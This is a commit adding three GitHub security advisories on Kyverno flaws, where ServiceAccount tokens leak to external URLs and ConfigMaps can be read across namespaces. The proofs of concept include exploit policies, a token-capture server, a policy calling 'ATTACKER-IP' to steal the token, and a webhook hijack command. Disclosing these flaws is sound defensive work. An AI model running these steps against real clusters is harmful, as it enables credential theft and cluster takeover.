Skip to content

Commit 4fd7aed

Browse files
1 parent a0d52b4 commit 4fd7aed

4 files changed

Lines changed: 226 additions & 0 deletions

File tree

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8wfp-579w-6r25",
4+
"modified": "2026-04-16T21:37:29Z",
5+
"published": "2026-04-16T21:37:29Z",
6+
"aliases": [],
7+
"summary": "Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)",
8+
"details": "### Summary\nKyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer <token>\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n if token != \"\" {\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 — Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n print(self.headers.get('Authorization'), flush=True)\n self.send_response(200)\n self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 — Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: token-leak\nspec:\n rules:\n - name: test\n match:\n any:\n - resources:\n kinds: [\"Pod\"]\n context:\n - name: r\n apiCall:\n method: GET\n service:\n url: \"http://capture.default.svc:8888\"\n jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 — Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 — Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer <SA_TOKEN>\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n - Full control over Kyverno policies\n - Ability to create/delete webhooks\n - Read cluster-wide resources\n - Privilege escalation and persistence",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/kyverno/kyverno"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.17.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/kyverno/kyverno"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-200",
49+
"CWE-522"
50+
],
51+
"severity": "HIGH",
52+
"github_reviewed": true,
53+
"github_reviewed_at": "2026-04-16T21:37:29Z",
54+
"nvd_published_at": null
55+
}
56+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cvq5-hhx3-f99p",
4+
"modified": "2026-04-16T21:35:04Z",
5+
"published": "2026-04-16T21:35:04Z",
6+
"aliases": [],
7+
"summary": "Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)",
8+
"details": "### Summary\n\nCVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.\n\n### Details\n\n**Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field.\n\n**Code path comparison:**\n\n| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |\n|--|---|---|\n| **Location** | `apiCall.URLPath` field | `configMap.namespace` field |\n| **Code path** | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation |\n| **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched |\n\n**Exploit mechanism:**\n1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)\n2. Policy uses `context.configMap.namespace: \"victim-ns\"` to reference another namespace\n3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap\n4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations\n\n**Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace.\n\n### PoC\n\nFull reproduction (5 minutes on `kind`):\n\n```bash\n#!/bin/bash\n# Setup: kind cluster + Kyverno v1.17.0\nkind create cluster --name kyverno-poc --wait 60s\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait\n\n# Create attacker and victim namespaces\nkubectl create namespace attacker-ns\nkubectl create namespace victim-ns\n\n# Plant sensitive data in victim namespace\nkubectl create configmap sensitive-config -n victim-ns \\\n --from-literal=db-password=\"s3cr3t-p4ssw0rd\" \\\n --from-literal=api-key=\"AKIAIOSFODNN7EXAMPLE\"\n\n# Create namespace admin RBAC (standard multi-tenant setup)\nkubectl create serviceaccount ns-admin -n attacker-ns\nkubectl create rolebinding ns-admin-binding --clusterrole=admin \\\n --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\nkubectl create role kyverno-policy-creator --verb=create,get,list \\\n --resource=policies.kyverno.io --namespace=attacker-ns\nkubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \\\n --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\n\n# Verify namespace admin CANNOT directly access victim-ns\nkubectl get configmap sensitive-config -n victim-ns \\\n --as=system:serviceaccount:attacker-ns:ns-admin\n# Error: Forbidden (expected)\n```\n\n**Exploit policy:**\n```yaml\n# Apply as namespace admin\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: configmap-crossns-read\n namespace: attacker-ns\nspec:\n rules:\n - name: steal-configmap\n match:\n any:\n - resources:\n kinds: [ConfigMap]\n names: [\"trigger-cm\"]\n context:\n - name: stolendata\n configMap:\n name: \"sensitive-config\"\n namespace: \"victim-ns\" # <-- NO VALIDATION\n mutate:\n patchStrategicMerge:\n metadata:\n annotations:\n exfil-db-password: \"{{ stolendata.data.\\\"db-password\\\" }}\"\n exfil-api-key: \"{{ stolendata.data.\\\"api-key\\\" }}\"\n```\n\n**Trigger and exfiltrate:**\n```bash\n# Trigger policy (as namespace admin)\nkubectl apply -f - <<EOF\napiVersion: v1\nkind: ConfigMap\nmetadata:\n name: trigger-cm\n namespace: attacker-ns\ndata:\n innocent: \"data\"\nEOF\n\n# Read exfiltrated secrets\nkubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \\\n --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool\n# Output:\n# {\n# \"exfil-api-key\": \"AKIAIOSFODNN7EXAMPLE\",\n# \"exfil-db-password\": \"s3cr3t-p4ssw0rd\"\n# }\n```\n\n**Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access.\n\n### Impact\n\n**Severity: HIGH (CVSS 7.7)**\n\n**Who is affected:**\n- Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)\n- Multi-tenant clusters where ConfigMaps contain sensitive data\n- Azure Kubernetes Service (AKS) and other managed K8s using Kyverno\n\n**Attack prerequisites:**\n- Namespace admin privileges (standard RBAC in multi-tenant clusters)\n- Ability to create Kyverno Policy resources (default for namespace admins)\n- No cluster-admin required\n\n**What can be exfiltrated:**\n- Any ConfigMap from any namespace\n- Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps\n\n**Why this matters:**\n- Namespace isolation is a fundamental Kubernetes security boundary\n- Namespace admin is an expected, common RBAC level in production multi-tenant clusters\n- Violates the principle of least privilege and breaks multi-tenancy guarantees\n\n**Suggested fix:**\nApply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`:\n1. Pass `policyNamespace` to `NewConfigMapLoader()`\n2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace`\n3. Return error if validation fails\n\nAlso audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern.\n\n**Tested versions:**\n- Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)\n- Helm chart: 3.7.0\n- Kubernetes: v1.35.0 (kind)",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/kyverno/kyverno"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "1.17.1"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/kyverno/kyverno"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-863"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-16T21:35:04Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-f9g8-6ppc-pqq4",
4+
"modified": "2026-04-16T21:36:20Z",
5+
"published": "2026-04-16T21:36:20Z",
6+
"aliases": [],
7+
"summary": "Kyverno: ServiceAccount token leaked to external servers via apiCall service URL",
8+
"details": "## Summary\n\nKyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.\n\n## Affected version\n\nTested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.\n\n## Details\n\nThere are two issues that combine into one attack chain.\n\nThe first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:\n\n```go\nreq, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)\n```\n\nNo scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.\n\nThe second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n}\n```\n\nThe token is the admission controller's long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.\n\n## Reproduction\n\n**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install\n\n**Step 1**: Start an HTTP listener on an attacker machine:\n\n```python\n# capture_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, datetime\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(json.dumps({\n \"timestamp\": str(datetime.datetime.now()),\n \"path\": self.path,\n \"headers\": dict(self.headers)\n }, indent=2))\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(b'{\"ok\": true}')\n\nHTTPServer((\"0.0.0.0\", 9999), Handler).serve_forever()\n```\n\n**Step 2**: Create a ClusterPolicy that calls the attacker server:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: ssrf-poc\nspec:\n validationFailureAction: Audit\n background: false\n rules:\n - name: exfil\n match:\n any:\n - resources:\n kinds:\n - Pod\n context:\n - name: exfil\n apiCall:\n service:\n url: \"http://ATTACKER-IP:9999/steal\"\n method: GET\n jmesPath: \"@\"\n validate:\n message: \"check\"\n deny:\n conditions:\n any:\n - key: \"{{ exfil }}\"\n operator: Equals\n value: \"NEVER_MATCHES\"\n```\n\n**Step 3**: Create any pod to trigger policy evaluation:\n\n```bash\nkubectl run test --image=nginx\n```\n\n**Step 4**: The listener receives the SA token immediately:\n\n```\nAuthorization: Bearer eyJhbGciOiJSUzI1NiIs...\n```\n\nDecoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller`\n\nEvery subsequent pod creation sends the token again. No race condition, no timing — it fires every time.\n\n**Step 5**: Use the token to hijack webhooks:\n\n```bash\n# Verify permissions\nkubectl auth can-i patch mutatingwebhookconfigurations \\\n --as=system:serviceaccount:kyverno:kyverno-admission-controller\n# yes\n\n# Patch the webhook to redirect to attacker\nkubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \\\n --type='json' \\\n -p='[{\"op\":\"replace\",\"path\":\"/webhooks/0/clientConfig/url\",\"value\":\"https://ATTACKER:443/mutate\"}]' \\\n --token=\"eyJhbG...\"\n```\n\nAfter this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.\n\n## Verified permissions of stolen token\n\nTested with the default Helm installation:\n\n| Action | Result |\n|--------|--------|\n| List pods (all namespaces) | Allowed |\n| Read configmaps in kube-system | Allowed |\n| PATCH MutatingWebhookConfiguration | **Allowed** |\n| PATCH ValidatingWebhookConfiguration | **Allowed** |\n| Read secrets (cluster-wide) | Denied (per-NS only) |\n\n## Impact\n\nAn attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:\n\n1. Hijack Kyverno's own mutating/validating webhooks\n2. Intercept and modify every API request flowing through the cluster\n3. Inject malicious containers, escalate privileges, exfiltrate secrets\n\nThe token is also sent to internal endpoints — `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.\n\nRBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/kyverno/kyverno"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.17.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/kyverno/kyverno"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-200",
49+
"CWE-918"
50+
],
51+
"severity": "HIGH",
52+
"github_reviewed": true,
53+
"github_reviewed_at": "2026-04-16T21:36:20Z",
54+
"nvd_published_at": null
55+
}
56+
}

0 commit comments

Comments
 (0)